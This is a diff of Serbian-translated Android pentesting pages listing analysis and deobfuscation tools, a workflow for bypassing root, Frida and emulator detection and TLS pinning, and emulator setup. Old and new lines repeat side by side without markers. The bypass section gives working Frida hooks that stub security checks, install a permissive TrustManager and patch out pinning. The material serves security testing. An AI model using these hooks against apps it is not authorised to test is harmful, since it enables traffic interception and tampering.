super-analyzer {apk_file}
```
@ -719,9 +713,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn je **crossplatform** alat koji pomaže razvijačima, bugbounty hunters i ethical hackers u izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
StaCoAn je **crossplatform** alat koji pomaže programerima, bugbounty hunterima i ethical hackerima pri izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
Koncept je da prevučete i otpustite fajl vaše mobilne aplikacije (.apk ili .ipa file) na StaCoAn aplikaciju i on će vam generisati vizuelni i prenosivi izveštaj. Možete promeniti podešavanja i wordlists da biste dobili prilagođeno iskustvo.
Koncept je da prevučete i ispustite fajl vaše mobilne aplikacije (an .apk or .ipa file) na StaCoAn aplikaciju i on će generisati vizuelni i prenosivi izveštaj za vas. Možete prilagoditi podešavanja i wordlists da biste dobili personalizovano iskustvo.
Preuzmite[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -729,7 +723,7 @@ Preuzmite[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework je sistem za analizu ranjivosti Android aplikacija koji pomaže developers or hackers da otkriju potencijalne sigurnosne propuste.\
AndroBugs Framework je sistem za analizu ranjivosti Android aplikacija koji pomaže programerima i hakerima da otkriju potencijalne bezbednosne propuste.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -737,11 +731,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** je alat čiji je glavni cilj da detektuje i upozori korisnika na potencijalno zlonamerna ponašanja koju razvija Android aplikacija.
**Androwarn** je alat čiji je glavni cilj da otkrije i upozori korisnika na potencijalno maliciozno ponašanje koje može razviti Android aplikacija.
Detekcija se vrši pomoću **statičke analize** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard).
Detekcija se vrši pomoću **static analysis** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, koristeći biblioteku [`androguard`](https://github.com/androguard/androguard).
Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Ovaj alat traži **common behavior of "bad" applications** kao što su: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -749,75 +743,75 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** je **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. To je alat koji okuplja često korišćene alate za reverse engineering i analizu mobilnih aplikacija, kako bi pomogao pri testiranju mobilnih aplikacija protiv OWASP mobile security pretnji. Njegov cilj je da ovaj zadatak učini lakšim i pristupačnijim programerima mobilnih aplikacija i stručnjacima za bezbednost.
**MARA** je **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. To je alat koji okuplja često korišćene mobile application reverse engineering i analysis alate, kako bi pomogao pri testiranju mobilnih aplikacija protiv OWASP mobile security threats. Njegov cilj je da ovaj zadatak učini jednostavnijim i pristupačnijim za mobile application developers i security professionals.
U stanju je da:
It is able to:
- Ekstrahuje Java i Smali kod koristeći različite alate
- Analizira APK-ove koristeći: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract Java and Smali code using different tools
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Ekstrahuje privatne informacije iz APK-a koristeći regexps.
- Analizira Manifest.
- Analizira pronađene domene koristeći: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuskira APK preko [apk-deguard.com](http://www.apk-deguard.com)
- Analizira pronađene domene koristeći: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Koristan za detekciju malware-a: [https://koodous.com/](https://koodous.com/)
## Obfuskacija/Deobfuskacija koda
## Obfuscating/Deobfuscating code
Imajte na umu da, u zavisnosti od servisa i konfiguracije koju koristite za obfuskaciju koda, tajne mogu ili ne moraju ostati obfuskovane.
Imajte na umu da, u zavisnosti od servisa i konfiguracije koje koristite za obfuscate koda, secrets mogu ili ne moraju ostati obfuscated.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Iz [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source command-line alat koji smanjuje, optimizuje i obfuskira Java kod. Može optimizovati bytecode kao i detektovati i ukloniti neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** je open source command-line alat koji smanjuje, optimizes i obfuscates Java kod. Sposoban je da optimizuje bytecode kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je free software i distribuira se pod GNU General Public License, verzija 2.
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom build-anja aplikacije u release modu.
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom build-a aplikacije u release modu.
### [DexGuard](https://www.guardsquare.com/dexguard)
Pronađite step-by-step vodič za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Iz tog vodiča) Poslednji put kada smo proveravali, način rada Dexguard-a je bio:
(From that guide) Poslednji put kad smo proveravali, način rada Dexguard-a je bio:
- učitaj resource kao InputStream;
- prosledi rezultat klasi koja nasleđuje od FilterInputStream da bi ga dekriptovala;
- uradi neku besmislenu obfuskaciju da izgubiš nekoliko minuta reversera;
- prosledi dekriptovani rezultat u ZipInputStream da bi dobio DEX fajl;
- konačno učitaj nastali DEX kao Resource koristeći `loadDex` metodu.
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
- do some useless obfuscation to waste a few minutes of time from a reverser;
- feed the decrypted result to a ZipInputStream to get a DEX file;
- finally load the resulting DEX as a Resource using the `loadDex` method.
### [DeGuard](http://apk-deguard.com)
**DeGuard reverzuje proces obfuskacije koji izvode Android obfuscation alati. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predviđanje biblioteka.**
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
Možete upload-ovati obfuskirani APK na njihovu platformu.
Možete upload-ovati obfuskovani APK na njihovu platformu.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Ovo je LLM alat za pronalaženje potencijalnih sigurnosnih ranjivosti u android aplikacijama i deobfuskaciju android app koda. Koristi Google's Gemini public API.
Ovo je LLM alat za pronalaženje potencijalnih security ranjivosti u android apps i deobfuscate android app code. Koristi Google's Gemini public API.
### [Simplify](https://github.com/CalebFenton/simplify)
To je **generic android deobfuscator.** Simplify **virtually izvršava aplikaciju** da razume njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali bude lakši za čoveka da razume. Svaki tip optimizacije je jednostavan i generički, tako da nije važno koji tačno tip obfuskacije je korišćen.
To je **generic android deobfuscator.** Simplify **virtually executes an app** da razume njegovo ponašanje i zatim **tries to optimize the code** tako da se ponaša identično, ali je lakše za čoveka da razume. Svaki tip optimizacije je prost i generic, tako da nije važno koji konkretan tip obfuscation je korišćen.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **compilers**, **packers**, **obfuscators**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
APKiD vam daje informacije o **how an APK was made**. Identifikuje mnoge **compilers**, **packers**, **obfuscators**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
### Manual
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
[Pročitajte ovaj tutorijal da naučite neke trikove o **how to reverse custom obfuscation**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b je Android security virtualna mašina bazirana na ubuntu-mate koja uključuje kolekciju najnovijih framework-ova, tutorijala i labova od različitih security geeka i istraživača za reverse engineering i malware analizu.
AndroL4b je Android security virtual machine zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-ova, tutorijala i labova od različitih security geeka i istraživača za reverse engineering i malware analysis.
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To je odlična lista resursa
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To je sjajna lista resursa
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)

90
src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
Ova stranica pruža praktičan workflow za povratak dinamičke analize protiv Android aplikacija koje detektuju/blokiraju instrumentation zbog root‑a ili primenjuju TLS pinning. Fokusira se na brzu trijažu, česte detekcije i copy‑pasteable hooks/tactics za njihovo zaobilaženje bez repack‑ovanja kad god je to moguće.
This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.
## Detection Surface (what apps check)
- Root provere: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger provere (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), skeniranje /proc, classpath, učitane libs
- Provere vezane za root: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger provere (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
- Rane init provere: Application.onCreate() ili process start hooks koji ruše aplikaciju ako je instrumentation prisutna
- Rane init provere: Application.onCreate() ili process start hookovi koji crash-uju ako je instrumentacija prisutna
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Step 1 — Quick win: hide root with Magisk DenyList
- Omogući Zygisk u Magisk
- Omogući DenyList, dodaj target package
- Restartuj i ponovo testiraj
- Enable Zygisk in Magisk
- Enable DenyList, add the target package
- Reboot and retest
Mnoge aplikacije traže samo očigledne indikatore (su/Magisk paths/getprop). DenyList često neutrališe naivne provere.
Mnoge aplikacije traže samo očigledne indikatore (su/Magisk paths/getprop). DenyList često neutralizuje naivne provere.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30‑second Frida Codeshare tests
Probaj uobičajene drop‑in skripte pre dubljeg istraživanja:
Try common drop‑in scripts before deep diving:
- anti-root-bypass.js
- anti-frida-detection.js
@ -35,7 +35,7 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Ovo obično pravi stub-ove za Java root/debug checks, process/service scans i native ptrace(). Korisno za slabije zaštićene aplikacije; ojačani ciljevi mogu zahtevati prilagođene hooks.
Ove obično stub-uju Java root/debug checks, process/service scans i native ptrace(). Korisno za aplikacije sa slabijom zaštitom; za hardenovane ciljeve možda su potrebni prilagođeni hooks.
- Codeshare: https://codeshare.frida.re/
@ -54,22 +54,22 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
```
Savet: Medusa je odlična za brze dobitke pre nego što napišete custom hooks. Takođe možete cherry-pick modules i kombinovati ih sa svojim scripts.
Tip: Medusa je odlična za brze pobede pre nego što napišete custom hooks. Takođe možete cherry-pick modules i kombinovati ih sa svojim scripts.
## Korak 3 — Zaobiđite detektore pri inicijalizaciji priključivanjem kasnije
## Korak 3 — Zaobiđite detektore koji rade pri inicijalizaciji tako što ćete se priključiti kasnije
Mnoge detekcije se pokreću samo tokom process spawn/onCreate(). Spawn‑time injection (-f) ili gadgets bivaju otkriveni; priključenje nakon učitavanja UI može proći neopaženo.
Mnoge detekcije se pokreću samo tokom process spawn/onCreate(). Spawn‑time injection (-f) ili gadgets bivaju otkriveni; priključenje nakon što se UI učita može proći neopaženo.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Ako ovo uspe, zadržite sesiju stabilnom i nastavite sa mapiranjem i stub proverama.
Ako ovo radi, zadrži sesiju stabilnom i nastavi sa mapiranjem i proverama stub-ova.
## Korak 4 — Mapirajte logiku detekcije putem Jadx i pretrage stringova
## Korak 4 — Mapiranje logike detekcije putem Jadx i string hunting
Statičke ključne reči za triage u Jadx:
Statičke ključne reči za trijažu u Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Tipični Java obrasci:
@ -87,7 +87,7 @@ Uobičajeni API-ji za pregled/hook:
## Korak 5 — Runtime stubbing sa Frida (Java)
Prepišite custom guards da vrate bezbedne vrednosti bez repackinga:
Override custom guards da vraćaju safe values bez repacking:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
Triaging ranih crash-eva? Dump classes neposredno pre nego što se aplikacija sruši, da biste uočili verovatne detection namespaces:
Trijaža ranih crash-eva? Dump-ujte klase neposredno pre nego što aplikacija padne da biste uočili verovatne detection namespaces:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -111,6 +111,7 @@ onComplete: () => console.log('Done')
});
});
```
```
// Quick root detection stub example (adapt to target package/class names)
Java.perform(() => {
try {
@ -118,8 +119,9 @@ const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
```
Log i onesposobite sumnjive metode kako biste potvrdili tok izvršavanja:
Zabeležite i neutralizujte sumnjive metode da potvrdite tok izvršavanja:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -129,11 +131,11 @@ return false;
};
});
```
## Bypass emulator/VM detection (Java stubs)
## Zaobilaženje detekcije emulatora/VM (Java stubs)
Uobičajene heuristike: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE koji sadrže generic/goldfish/ranchu/sdk; QEMU artefakti kao /dev/qemu_pipe, /dev/socket/qemud; podrazumevana MAC 02:00:00:00:00:00; 10.0.2.x NAT; nedostatak telephony/sensors.
Uobičajene heuristike: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE sadrže generic/goldfish/ranchu/sdk; QEMU artefakti kao što su /dev/qemu_pipe, /dev/socket/qemud; podrazumevani MAC 02:00:00:00:00:00; 10.0.2.x NAT; nedostatak telephony/sensors.
Quick spoof of Build fields:
Brzo spoofovanje Build polja:
```js
Java.perform(function(){
var Build = Java.use('android.os.Build');
@ -143,11 +145,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
Dopunite stubovima za provere postojanja fajlova i identifikatore (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) da vrate realistične vrednosti.
Dopunite stubovima za provere postojanja fajlova i identifikatore (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) da vraćaju realistične vrednosti.
## SSL pinning bypass quick hook (Java)
Neutralizujte prilagođene TrustManagers i prisilite permisivne SSL contexts:
Neutralizujte prilagođene TrustManagers i primorajte permisivne SSL contexts:
```js
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -166,27 +168,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
});
```
Napomene
- Proširi za OkHttp: hook okhttp3.CertificatePinner i HostnameVerifier po potrebi, ili koristi univerzalni unpinning script sa CodeShare.
- Proširite za OkHttp: hook okhttp3.CertificatePinner i HostnameVerifier po potrebi, ili koristite univerzalni unpinning script sa CodeShare.
- Primer pokretanja: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## Korak 6 — Prati JNI/native trag kada Java hooks zakažu
## Korak 6 — Pratite JNI/native trag kada Java hooks zakažu
Prati JNI ulazne tačke da bi pronašao native loadere i inicijalizaciju detekcije:
Pratite JNI ulazne tačke da biste pronašli native loadere i inicijalizaciju detekcije:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Brza nativna trijaža priloženih .so fajlova:
Brza nativna trijaža uključenih .so files:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
Interaktivno/nativno reversing:
Interaktivno/native reversing:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Primer: onesposobiti ptrace da bi se zaobišao jednostavan anti‑debug u libc:
Primer: neutralizovati ptrace da bi se zaobišao jednostavan anti‑debug u libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -202,28 +204,28 @@ reversing-native-libraries.md
## Korak 7 — Objection patching (embed gadget / strip basics)
Ako više volite repacking umesto runtime hooks, probajte:
Ako više volite repacking umesto runtime hooks, pokušajte:
```bash
objection patchapk --source app.apk
```
Napomene:
- Zahteva apktool; obezbedite ažuriranu verziju iz zvaničnog uputstva da biste izbegli probleme pri izgradnji: https://apktool.org/docs/install
- Gadget injection omogućava instrumentation bez root-a, ali i dalje može biti otkrivena jačim init‑time checks.
- Zahteva apktool; obezbedite ažuriranu verziju iz zvaničnog vodiča kako biste izbegli probleme pri izgradnji: https://apktool.org/docs/install
- Gadget injection omogućava instrumentation bez root, ali ga i dalje mogu otkriti strože provere pri inicijalizaciji.
Opcionalno, dodajte LSPosed moduli i Shamiko za jače skrivanje root-a u Zygisk okruženjima, i prilagodite DenyList da pokrije child processes.
Opcionalno, dodajte LSPosed modules i Shamiko za jače skrivanje root-a u Zygisk okruženjima, i prilagodite DenyList tako da obuhvati podprocese.
Reference:
Referencije:
- Objection: https://github.com/sensepost/objection
## Korak 8 — Fallback: Patch TLS pinning za omogućavanje vidljivosti mrežnog saobraćaja
## Korak 8 — Fallback: Patch TLS pinning radi vidljivosti mreže
Ako je instrumentation blokirana, i dalje možete pregledati saobraćaj uklanjanjem pinning-a statički:
Ako je instrumentation blokiran, i dalje možete pregledati saobraćaj tako što ćete statički ukloniti pinning:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Alat: https://github.com/shroudedcode/apk-mitm
- Za trikove vezane za CA‑trust u konfiguraciji mreže (i Android 7+ user CA trust), vidi:
- Za trikove vezane za konfiguraciju mreže i CA‑trust (i Android 7+ user CA trust), vidi:
{{#ref}}
make-apk-accept-ca-certificate.md
@ -251,14 +253,14 @@ objection --gadget com.example.app explore
# Static TLS pinning removal
apk-mitm app.apk
```
## Saveti i upozorenja
## Saveti i napomene
- Radije zakačite kasnije nego pokrenete novi proces (spawn) kada se aplikacije ruše pri pokretanju
- Neka otkrivanja se ponovo pokreću u kritičnim tokovima (npr. plaćanje, autentifikacija) — držite hooks aktivnim tokom navigacije
- Kombinujte static i dynamic pristup: traženje stringova u Jadx da biste suzili listu klasa; zatim hook-ujte metode da verifikujete u runtime-u
- Zaštićene aplikacije mogu koristiti packers i native TLS pinning — očekujte da ćete morati reverse-ovati native kod
- Radije attach-ujte kasnije nego spawn-ujte kada se aplikacije sruše pri pokretanju
- Neki detektori se ponovo pokreću u kritičnim tokovima (npr. payment, auth) — držite hooks aktivnim tokom navigacije
- Kombinujte statičku i dinamičku analizu: string hunt u Jadx za suženje liste klasa; zatim hook-ujte metode da verifikujete u runtime-u
- Ojačane aplikacije mogu koristiti packers i native TLS pinning — očekujte da ćete reversovati native code
## Reference
## References
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
- [Frida Codeshare](https://codeshare.frida.re/)

95
src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
View File

@ -2,25 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
Veliko hvala [**@offsecjay**](https://twitter.com/offsecjay) na pomoći pri izradi ovog sadržaja.
Veliko hvala [**@offsecjay**](https://twitter.com/offsecjay) na pomoći pri kreiranju ovog sadržaja.
## Šta je
Android Studio omogućava pokretanje virtuelnih Android mašina koje možete koristiti za testiranje APKs. Da biste ih koristili trebaće vam:
Android Studio omogućava **pokretanje virtuelnih Android mašina koje možete koristiti za testiranje APK-ova**. Da biste ih koristili, biće vam potrebno:
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
- Ili **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
Na Windowsu (u mom slučaju) **posle instalacije Android Studio** imao sam **SDK Tools instalirane u**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
Na Windows-u (u mom slučaju) **nakon instalacije Android Studio-a** imao sam **SDK Tools instalirane u**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
Na mac možete **download the SDK tools** i dodati ih u PATH pokretanjem:
Na mac-u možete **preuzeti SDK tools** i imati ih u PATH pokretanjem:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
Ili iz **Android Studio GUI** kako je naznačeno u [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) koje će ih instalirati u `~/Library/Android/sdk/cmdline-tools/latest/bin/` i `~/Library/Android/sdk/platform-tools/` i `~/Library/Android/sdk/emulator/`
Ili iz **Android Studio GUI** kako je navedeno u [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) što će ih instalirati u `~/Library/Android/sdk/cmdline-tools/latest/bin/` i `~/Library/Android/sdk/platform-tools/` i `~/Library/Android/sdk/emulator/`
Za Java probleme:
Za probleme sa Javom:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
### Priprema virtuelne mašine
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
Ako ste instalirali Android Studio, možete samo otvoriti glavni prikaz projekta i pristupiti: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -40,34 +40,34 @@ Zatim kliknite na _**Create Virtual Device**_
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**izaberite** telefon koji želite da koristite_ i kliknite na _**Next.**_
_**odaberite** telefon koji želite da koristite_ i kliknite na _**Next.**_
> [!WARNING]
> Ako vam treba telefon sa Play Store instaliranim, izaberite onaj koji ima Play Store ikonicu!
> Ako vam treba telefon sa Play Store instaliranim, odaberite onaj sa ikonom Play Store!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
U trenutnom prikazu moći ćete da **izaberete i preuzmete Android image** koji će telefon pokretati:
U trenutnom pogledu bićete u mogućnosti da **odaberete i preuzmete Android image** koji će telefon pokretati:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Dakle, izaberite ga, a ako nije preuzet kliknite na simbol _**Download**_ pored imena (**sada sačekajte da se image preuzme).**\
Kada je image preuzet, jednostavno izaberite **`Next`** i **`Finish`**.
Dakle, odaberite ga i ako nije preuzet kliknite na simbol _**Download**_ pored imena (**sada sačekajte dok se image ne preuzme).**\
Kada je image preuzet, samo odaberite **`Next`** i **`Finish`**.
Virtuelna mašina će biti kreirana. Sada **svaki put kada pristupite AVD Manager-u biće prisutna**.
Virtuelna mašina će biti kreirana. Sada će **dešava se da će svaki put kada pristupite AVD Manager-u ona biti prisutna**.
### Pokretanje virtuelne mašine
Da biste je **pokrenuli** jednostavno pritisnite _**Start button**_.
Da biste je **pokrenuli**, jednostavno pritisnite _**Start button**_.
![](<../../images/image (518).png>)
## Alat komandne linije
> [!WARNING]
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
> Za macOS možete pronaći alat `avdmanager` u `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` i `emulator` u `/Users/<username>/Library/Android/sdk/emulator/emulator` ako ih imate instalirane.
Prvo morate **odlučiti koji telefon želite da koristite**, da biste videli listu mogućih telefona izvršite:
Pre svega treba da **odlučite koji telefon želite da koristite**, da biste videli listu mogućih telefona izvršite:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -95,8 +95,7 @@ Name: Nexus 10
OEM : Google
[...]
```
Kada odlučite ime uređaja koji želite da koristite, potrebno je da **odlučite koji Android image želite da pokrenete na ovom uređaju.**\
Možete prikazati sve opcije koristeći `sdkmanager`:
Kada odaberete ime uređaja koji želite da koristite, potrebno je da **odlučite koju Android sliku želite da pokrenete na ovom uređaju.**\ Možete navesti sve opcije koristeći `sdkmanager`:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
@ -104,7 +103,7 @@ I **preuzmite** onaj (ili sve) koje želite da koristite sa:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
Kada preuzmete Android image koji želite da koristite, možete **prikazati sve preuzete Android image-ove** pomoću:
Kada preuzmete Android image koji želite da koristite, možete **prikazati sve preuzete Android image-e** pomoću:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -120,12 +119,12 @@ Type: Platform
API level: 29
Revision: 4
```
U ovom trenutku ste odlučili koji uređaj želite da koristite i preuzeli Android image, tako da **možete da kreirate virtuelnu mašinu koristeći**:
U ovom trenutku ste odlučili koji uređaj želite da koristite i preuzeli ste Android image, tako da **možete kreirati virtuelnu mašinu koristeći**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
U poslednjoj komandi **sam kreirao VM pod imenom** "_AVD9_" koristeći **uređaj** "_Nexus 5X_" i **Android image** "_system-images;android-28;google_apis;x86_64_".\
Sada možete **prikazati virtuelne mašine** koje ste kreirali pomoću:
Sada možete **izlistati virtuelne mašine** koje ste kreirali pomoću:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -143,9 +142,9 @@ Error: Google pixel_2 no longer exists as a device
### Pokretanje virtuelne mašine
> [!WARNING]
> Na macOS-u možete pronaći alat `avdmanager` u `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` i `emulator` u `/Users/<username>/Library/Android/sdk/emulator/emulator`, ako ih imate instalirane.
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
Već smo videli kako možete prikazati kreirane virtuelne mašine, ali **možete ih i izlistati pomoću**:
Već smo videli kako možete izlistati kreirane virtuelne mašine, ali **takođe ih možete izlistati koristeći**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
@ -156,39 +155,39 @@ Možete jednostavno **pokrenuti bilo koju kreiranu virtuelnu mašinu** koristeć
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```
Ili koristeći naprednije opcije, možete pokrenuti virtuelnu mašinu poput:
Ili koristeći naprednije opcije možete pokrenuti virtuelnu mašinu kao:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### Opcije komandne linije
